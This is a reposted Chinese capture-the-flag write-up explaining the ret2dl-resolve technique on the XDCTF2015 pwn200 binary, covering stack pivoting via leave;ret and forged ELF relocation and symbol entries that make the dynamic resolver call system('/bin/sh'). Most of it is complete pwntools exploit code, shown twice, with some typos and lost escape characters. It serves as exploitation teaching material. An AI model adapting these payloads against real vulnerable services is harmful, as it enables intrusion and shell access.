ret2resolve练习

IoT 9个月前 admin
158 0 0

文章主要参考了看雪https://bbs.kanxue.com/thread-227034.htm

我在文章“ELF文件格式(http://t.csdn.cn/tAWxg)”中提到了下问中涉及到的内容。


这里需要用到的前置知识有ELF文件中的.rel.plt, .dynstr, .dynsym, .rel.plt, .dynamic, .plt, .got等节知识和动态加载时_dl_runtime_resolve的加载顺序,这些知识可以在我写的“文件格式”里看到。


用到的题目为XDCTF2015 pwn200,源码如下:


#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!n";

setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
// $ gcc -m32 -fno-stack-protector -no-pie -s pwn200.c -o main_8_3.out





栈转移


理由:栈可溢出空间小,不足以写入完整的payload

目标栈:可读写内存段

本质:esp的改变

实现手段:利用两次leave指令

参考:

1.https://www.cnblogs.com/max1z/p/15299000.html
2.https://www.cnblogs.com/ZIKH26/articles/15817337.html


参考内容,主要看他的图。


实现手段详解:

leave命令可以理解为mov esp, ebp; pop ebp。


那么两个leave会成为mov esp, ebp; pop ebp; mov esp, ebp; pop ebp,而重点就是连起来后的中间两条指令pop ebp; mov esp, ebp,这样就实现了改变esp,而如果存在栈溢出漏洞,那么我们是可以控制ebp内容的,这样就间接实现了控制esp。


实现了esp的改变,那么之后的shellcode等等都在写在新的栈中,并且是可以执行的,那么会产生一个新的问题,
eip如何指向我们写入的命令呢?这就需要ret指令和之前两个leave连起来后的末尾的pop ebp了。需要注意,read写,是低地址向高地址写,push后esp降低,pop后esp增加,如下图:


ret2resolve练习


那么pop ebp执行后,new_esp就指向了shellcode(如紫色箭头所示),此时执行ret,那么eip就指向了shellcode,蓝色箭头为其他内容了。这个过程中,new_ebp是多少都无所谓,因为这道题目中用不到了。当eip指向了shellcode后,接着就是执行了。综上就栈转移的内容。


似乎还有其他的不是利用leave的栈转移,先不讨论。


栈转移代码实现如下:


ret2resolve练习


利用0x08049105做为第二个leave使用。


def stack_trans(read_start_addr, new_esp):
over_buffer = 'A' * 108 # 沾满缓存
overwrite_ebp = p32(new_esp) # 注意,这里覆写的ebp,在经过栈转移后为esp的地址
# 并且,这个rop_size是之后的rop的长度,即仿写后gteshell的rop长度
call_read = read_plt # read的地址,用于写入shellcode
ret = leave_ret_addr # 将第二个leave做为read的返回地址
arg_1 = p32(0) # 这三个是read函数的三个参数
arg_2 = p32(read_start_addr) # 从这里开始写,没问题,这个地址其实和new_esp是一样的
arg_3 = p32(0x100) #read的最大独写长度。至少是完整代码中所有payload的长度之和,
# 这里就直接了0x100了,肯定是够了

payload = flat(over_buffer, overwrite_ebp, call_read, ret, arg_1, arg_2, arg_3)
fill = 'B' * (0x100 - len(payload)) # 填充满这0x100的空间
payload += flat(fill)
return payload

# 测试栈转移是否成功用的函数,即调用write函数,输入/bin/sh字符串
def verify_trans(esp, elf):
rop_size=24
ebp = "DDDD"
write_plt = elf.plt['write']
jmp_write = p32(write_plt)
gap = "EEEE"
arg_1 = p32(1)
arg_2 = p32(esp + rop_size)
arg_3 =p32(len("/bin/sh0"))
bin_str = "/bin/sh0"
payload = flat(ebp, jmp_write, gap, arg_1, arg_2, arg_3,bin_str)
return payload





伪造链接过程


ret2resolve练习

从上方的图片中可以看到,想要执行其他函数,我们需要伪造reloc(_dl_time_resolve的第二个参数),Elf32_Rel指针,Elf32_Sym指针和函数名字符串指针。在正常的动态链接过程中,合法函数的这些结构是通过偏移获得的,但在这道题目中,对这个偏移没有限制,即可以越界访问,因此我们在伪造了这些结构后,才能够使用。以上提到的结构,在文件格式那篇文档中有提到,伪造如下:


"""
typedef struct {
Elf32_Addr r_offset; // 指向需要进行重定位的位置在节中的偏移地址
Elf32_Word r_info; // 包含了重定位的类型和需要重定位的符号的索引
} Elf32_Rel;

"""
def fake_Rel(r_offset, r_info):
fake_Elf32_Rel = p32(r_offset) #在第一次执行函数后,r_offset用于保存函数的真实地址,
# 在本程序中用不到,所以随便写
fake_Elf32_Rel += p32(r_info) # 注意,r_info这一个字段包含了两个内容
#r_info的第一个内容是偏移,第二个内容一般是选值(即从几个固定值中选)
return fake_Elf32_Rel
pass
"""
typedef struct {
Elf32_Word st_name; // 符号的名称在字符串表中的偏移地址
Elf32_Addr st_value; // 符号的值,可以是地址、常量或者是相对值
Elf32_Word st_size; // 符号的大小
unsigned char st_info; // 符号的类型和绑定属性 8位
unsigned char st_other; // 保留 8位
Elf32_Half st_shndx; // 符号所属的节的索引 16位
} Elf32_Sym;
"""
def fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx):
fake_Elf32_Sym = p32(st_name) # 也就这个st_name重要
fake_Elf32_Sym += p32(st_value)# 其他的是选值,从IDA中抄就完事了
fake_Elf32_Sym += p32(st_size)
fake_Elf32_Sym += bytes([st_info]) + bytes([st_other]) + p16(st_shndx)
return fake_Elf32_Sym

# 以上的内容是创造一个不存在的值出现,下面是仿造一个已有的结果,用于测试
# 下边的值,如下图中IDA中所示
def write_rel():
r_offset = 0x804C010
r_info = 0x607 # 位移,也是下标
rel = fake_Rel(r_offset, r_info)
return rel

def write_sym():
st_name = 0x080482EE - 0x080482AC # 其他的值照着IDA里抄就完事了,都是选定的值
st_value = 0
st_size = 0
st_info = 0x12
st_other = 0
st_shndx = 0
sym = fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)
reurn sym

# 测试伪造是否成功
def getshell_1(esp):
rel = write_rel()
sym = write_sym()

# 上边的fak_rel和fake_sym和IDA里是一摸一样的
ebp = "DDDD" # 即刚刚栈转移后的栈顶,因为会立马pop出去,并且没用,所以随便写
jmp_resolve = p32(resolve_addr) # jmp bbb
fake_rel_address = esp + rop_size # 这个地址是最后算的
push_offset = p32(fake_rel_address - REL_header_addr) # push aaa;这两个在plt表中非常的直观,可以去看看
random_str = 'CCCC' # 经过jmp_resolve和fake_rel_address后,该调用函数了,而调用函数的栈形态是:函数;返回地址;函数参数
# 所以这个AAAA就是返回地址,如果不用的话,随便写了
# bin_sh_address = p32(esp + rop_size + 8 + 16 + 4)
arg_1 = p32(1)
arg_2 = p32(esp + rop_size + 8 + 16 + 4)
arg_3 = p32(8)

rubbish = 'EEEE'
bin_str = '/bin/sh0'
rop = flat(ebp, jmp_resolve, push_offset, random_str, arg_1,arg_2,arg_3)
# 参与构成rop的每个数据都长4个字节,有5个,共20
# 所以,接下来的fake_rel的地址是刚开始的那个栈顶esp+20
# 接下来就是放入fake
payload = rop + rel + sym + rubbish.encode() + bin_str.encode()
return payload

ret2resolve练习
ret2resolve练习
ret2resolve练习
ret2resolve练习





getshell


上一节中,涉及的内容是getshell过程中需要使用的结构体的伪造,那么根据动态链接的流程图,还有两个点没有用,那就是link_map和reloc,打开IDA,找到.plt表。如下图。


在main函数中,点击这个_write的调用。


ret2resolve练习

会出现:


ret2resolve练习

或者是点开红色框后的模样:


ret2resolve练习

其中push 20h这个20h就是reloc,而jmp sub_xxx是link_map,而这个jmp指向的就是plt[0]和plt[1]。这个20h其实也是偏移,并且在这道题目中没有对改偏移数值大小的限制。这个偏移是指定函数的Elf32_Rel表相对于Rel_header的偏移。看下图:


ret2resolve练习

这里有个小坑,图中有两个REL Table,一个是ELF REL Relocation Table,另一个是ELF JMPREL Relocation Table,我们需要的是相对于后者的偏移,例如刚才的push 20h,就是0x080483a0-0x08048380=0x20。


在plt中是先执行了push,再执行的jmp,而在利用的过程中,我们只要保证jmp后,push的地址在栈顶就行(从结果出发)。


def getshell(fake_Elf32_Rel, fake_Elf32_Sym, esp): # esp其实是new_esp
ebp = "DDDD" # 即刚刚栈转移后的栈顶,因为会立马pop出去,没用,所以随便写
jmp_resolve = p32(resolve_addr) # 即之前的jmp sub_8049020
fake_rel_address = esp + rop_size# rop_size就按照之后的流程,提前计算一下
push_offset = p32(fake_rel_address - REL_header_addr) # 即类似push 20h
random_str = 'CCCC' # 经过jmp_resolve和fake_rel_address后,该调用函数了,而调用函数的栈形态是:函数;返回地址;函数参数
# 所以这个AAAA就是返回地址,如果不用的话,随便写了
bin_sh_address = p32(esp + rop_size + 8 + 16 + 8) # /bin/sh的地址
# 这个地址也是按照后边的流程提前计算的

system_str = 'systemx00x00' # 大于4个字节,小于8个字节,则需要补足8个字节
bin_str = '/bin/shx00' # 正好8个字节
rop = flat(ebp, jmp_resolve, push_offset, random_str, bin_sh_address)
# 这个jmp_resolve和push_offset的顺序,就是上边提到的那个“从结果出发”
# 因为ret后,eip指向了jmp_resolve,esp=esp+4,刚好令push_offset为栈顶
# 参与构成rop的每个数据都长4个字节,有5个,故rop_size = 20
# 所以,接下来的fake_rel的地址是刚开始的那个栈顶esp+rop_size
# 接下来就是放入fake
payload = rop + fake_Elf32_Rel + fake_Elf32_Sym + system_str.encode() + bin_str.encode()
return payload
# 在计算sym的偏移的时候,有用到除法,在计算除法中,有用到stack_size即栈大小,所以
# 下边这个函数以控制栈大小来保证整除
def cacl_stack_size(fake_sym_addr, elf_bss):
if (fake_sym_addr - SYM_header_addr) % SYM_size == 0:
return -1
temp = ((fake_sym_addr - SYM_header_addr) // SYM_size) + 1
fake_sym_addr = SYM_size * temp + SYM_header_addr
# fake_sym_addr = base_stage - rop_size + rop_size + 8--> base_stage + 8
base_stage = fake_sym_addr - 8
# base_stage = elf_bss + stack_size
return base_stage - elf_bss

stack_size = 0x834 # 随便写的,反正如果不对的话,cacl_stack_size会对他进行调整的
bss_addr = 0 # .bss,动态获取的
base_stage = 0 # 这个地址就是stack_size + bass_addr的结果,保存一下
rop_size = 20 # 提前算好的
leave_ret_addr = 0x08049105 # leave; ret;

resolve_addr = 0x08049020 # jmp sub_xxx

REL_header_addr = 0x08048380 # 注意区分两个两个Rel头部
SYM_header_addr = 0x0804820C
SYM_size = 16 # 即一个sym表的大小为16个字节

STR_header_addr = 0x080482AC # ELF String Table,这些地址,根据IDA找找就行
read_plt = 0 # 动态获取的

if __name__ == '__main__':
context(os='linux', arch='i386', log_level='debug')
p = process("./main_8_3.out")
elf = ELF("./main_8_3.out")

bss_addr = elf.bss() # bss地址
base_stage = bss_addr + stack_size
fake_sym_addr = base_stage - rop_size + rop_size + 8 # 也是提前计算,用于在calc_stack_size中调整stack_size
res = cacl_stack_size(fake_sym_addr, bss_addr)
if res!=-1:
stack_size=res
base_stage = bss_addr + stack_size
read_plt = elf.plt['read'] # rea新d_plt地址
new_esp = base_stage - rop_size # 字面含义

payload = stack_trans(base_stage-rop_size, new_esp)
p.recvuntil("Welcome to XDCTF2015~!n")
p.send(payload) # 栈转移结束

# 在getshell函数中的“system”,提前计算地址
system_addr = new_esp + rop_size + 8 + 16

r_offset = 0x804C010 # 根据IDA在rel.plt中随便找了一个,这个字段在函数执行一次后会保存函数的真实地址,但是目前没什么用,所以无所谓
fake_sym_addr = new_esp + rop_size + 8
# 就是在这里,如果不进行calc_stack_size的话,可能会出现类型错误
r_info = (((fake_sym_addr - SYM_header_addr)//SYM_size)<<8) + 7 # 位移,也是下标
fake_rel = fake_Rel(r_offset, r_info)


st_name = system_addr - STR_header_addr #其他的值照着IDA里抄就完事了,都是选定的值
st_value = 0
st_size = 0
st_info = 0x12
st_other = 0
st_shndx = 0
fake_sym = fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)

payload = getshell(fake_rel,fake_sym, new_esp)
p.send(payload)
p.interactive()

# 测试栈转移
# payload = verify_trans(new_esp, elf)
# p.send(payload)
# bin_str = r.recv()
# print(f"bin_str:{bin_str}")

# 测试伪造是否成功
# payload = getshell_1(new_esp)
# p.send(payload)
# bin_str = r.recv()
# print(f"bin_str:{bin_str}")


结果如下:


ret2resolve练习

完整的,不带注释的代码如下:


from pwn import *

stack_size = 0x834
bss_addr = 0
base_stage = 0
rop_size = 20
leave_ret_addr = 0x08049105

resolve_addr = 0x08049020

REL_header_addr = 0x08048380
SYM_header_addr = 0x0804820C
SYM_size = 16

STR_header_addr = 0x080482AC
read_plt = 0


def stack_trans(read_start_addr, new_esp):
over_buffer = 'A' * 108
overwrite_ebp = p32(new_esp)
call_read = read_plt
ret = leave_ret_addr
arg_1 = p32(0)
arg_2 = p32(read_start_addr)
arg_3 = p32(0x100)

payload = flat(over_buffer, overwrite_ebp, call_read, ret, arg_1, arg_2, arg_3)
fill = 'B' * (0x100 - len(payload))
payload += flat(fill)
return payload


def verify_trans(esp, elf):
rop_size = 24
ebp = "DDDD"
write_plt = elf.plt['write']
jmp_write = p32(write_plt)
gap = "EEEE"
arg_1 = p32(1)
arg_2 = p32(esp + rop_size)
arg_3 = p32(len("/bin/sh0"))
bin_str = "/bin/sh0"
payload = flat(ebp, jmp_write, gap, arg_1, arg_2, arg_3, bin_str)
return payload


def fake_Rel(r_offset, r_info):
fake_Elf32_Rel = p32(r_offset)
fake_Elf32_Rel += p32(r_info)
return fake_Elf32_Rel
pass


def fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx):
fake_Elf32_Sym = p32(st_name) # 也就这个st_name重要
fake_Elf32_Sym += p32(st_value) # 其他的是选值,从IDA中抄就完事了
fake_Elf32_Sym += p32(st_size)
fake_Elf32_Sym += bytes([st_info]) + bytes([st_other]) + p16(st_shndx)
return fake_Elf32_Sym


def write_rel():
r_offset = 0x804C010
r_info = 0x607
rel = fake_Rel(r_offset, r_info)
return rel


def write_sym():
st_name = 0x080482EE - 0x080482AC
st_value = 0
st_size = 0
st_info = 0x12
st_other = 0
st_shndx = 0
sym = fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)
return sym


def getshell_1(esp):
rel = write_rel()
sym = write_sym()
ebp = "DDDD"
jmp_resolve = p32(resolve_addr)
fake_rel_address = esp + rop_size
push_offset = p32(fake_rel_address - REL_header_addr)
random_str = 'CCCC'
arg_1 = p32(1)
arg_2 = p32(esp + rop_size + 8 + 16 + 4)
arg_3 = p32(8)

rubbish = 'EEEE'
bin_str = '/bin/sh0'
rop = flat(ebp, jmp_resolve, push_offset, random_str, arg_1, arg_2, arg_3)
payload = rop + rel + sym + rubbish.encode() + bin_str.encode()
return payload


def getshell(fake_Elf32_Rel, fake_Elf32_Sym, esp):
ebp = "DDDD"
jmp_resolve = p32(resolve_addr)
fake_rel_address = esp + rop_size
push_offset = p32(fake_rel_address - REL_header_addr)
random_str = 'CCCC'
bin_sh_address = p32(esp + rop_size + 8 + 16 + 8)

system_str = 'systemx00x00'
bin_str = '/bin/shx00'
rop = flat(ebp, jmp_resolve, push_offset, random_str, bin_sh_address)
payload = rop + fake_Elf32_Rel + fake_Elf32_Sym + system_str.encode() + bin_str.encode()
return payload


def cacl_stack_size(fake_sym_addr, elf_bss):
if (fake_sym_addr - SYM_header_addr) % SYM_size == 0:
return -1
temp = ((fake_sym_addr - SYM_header_addr) // SYM_size) + 1
fake_sym_addr = SYM_size * temp + SYM_header_addr
base_stage = fake_sym_addr - 8
return base_stage - elf_bss


if __name__ == '__main__':
context(os='linux', arch='i386', log_level='debug')
p = process("./main_8_3.out")
elf = ELF("./main_8_3.out")

bss_addr = elf.bss()
base_stage = bss_addr + stack_size
fake_sym_addr = base_stage - rop_size + rop_size + 8
res = cacl_stack_size(fake_sym_addr, bss_addr)
if res != -1:
stack_size = res
base_stage = bss_addr + stack_size
read_plt = elf.plt['read']
new_esp = base_stage - rop_size

payload = stack_trans(base_stage - rop_size, new_esp)
p.recvuntil("Welcome to XDCTF2015~!n")
p.send(payload)

system_addr = new_esp + rop_size + 8 + 16

r_offset = 0x804C010
fake_sym_addr = new_esp + rop_size + 8
r_info = (((fake_sym_addr - SYM_header_addr) // SYM_size) << 8) + 7
fake_rel = fake_Rel(r_offset, r_info)

st_name = system_addr - STR_header_addr
st_value = 0
st_size = 0
st_info = 0x12
st_other = 0
st_shndx = 0
fake_sym = fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)

payload = getshell(fake_rel, fake_sym, new_esp)
p.send(payload)
p.interactive()




ret2resolve练习


看雪ID:StonesThree

https://bbs.kanxue.com/user-home-950095.htm

*本文为看雪论坛优秀文章,由 holing 原创,转载请注明来自看雪社区

ret2resolve练习

# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复


ret2resolve练习


ret2resolve练习

球分享

ret2resolve练习

球点赞

ret2resolve练习

球在看

原文始发于微信公众号(看雪学苑):ret2resolve练习

版权声明:admin 发表于 2023年8月14日 下午6:02。
转载请注明:ret2resolve练习 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...